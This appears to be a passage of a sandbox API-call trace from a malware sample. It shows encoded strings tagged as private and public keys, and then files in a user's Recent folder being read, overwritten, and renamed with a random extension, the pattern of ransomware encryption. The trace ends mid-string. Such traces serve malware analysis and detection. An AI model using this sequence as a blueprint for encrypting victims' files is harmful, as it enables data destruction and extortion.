4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0084.579] GetCurrentThreadId () returned 0xa30 [0084.579] GetCurrentThreadId () returned 0xa30 [0084.579] GetCurrentThreadId () returned 0xa30 [0084.579] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.579] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.580] GetCurrentThreadId () returned 0xa30 [0084.580] GetCurrentThreadId () returned 0xa30 [0084.580] GetCurrentThreadId () returned 0xa30 [0084.580] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XItXehzcofYBo38.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xitxehzcofybo38.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.580] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.580] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.580] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x1a28 [0084.580] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.580] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x1a28, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x1a28, lpOverlapped=0x0) returned 1 [0084.582] CloseHandle (hObject=0x124) returned 1 [0084.582] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XItXehzcofYBo38.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xitxehzcofybo38.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.584] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x1a28, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x1a28, lpOverlapped=0x0) returned 1 [0084.586] CloseHandle (hObject=0x124) returned 1 [0084.587] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XItXehzcofYBo38.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xitxehzcofybo38.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XItXehzcofYBo38.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xitxehzcofybo38.lnk.zv7un")) returned 1 [0084.589] GetCurrentThreadId () returned 0xa30 [0084.589] GetCurrentThreadId () returned 0xa30 [0084.589] GetCurrentThreadId () returned 0xa30 [0084.589] GetCurrentThreadId () returned 0xa30 [0084.589] GetCurrentThreadId () returned 0xa30 [0084.589] GetCurrentThreadId () returned 0xa30 [0084.589] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdff0ac20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdff0ac20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdff0ac20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa63, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="xjQ7-Z6-cvpQ18.lnk", cAlternateFileName="XJQ7-Z~1.LNK")) returned 1 [0084.589] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.589] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.589] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xjQ7-Z6-cvpQ18.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xjq7-z6-cvpq18.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdff0ac20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdff0ac20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdff0ac20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa63)) returned 1 [0084.590] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xjQ7-Z6-cvpQ18.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xjq7-z6-cvpq18.lnk")) returned 0x20 [0084.590] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xjQ7-Z6-cvpQ18.lnk", dwFileAttributes=0x80) returned 1 [0084.592] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.592] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8Op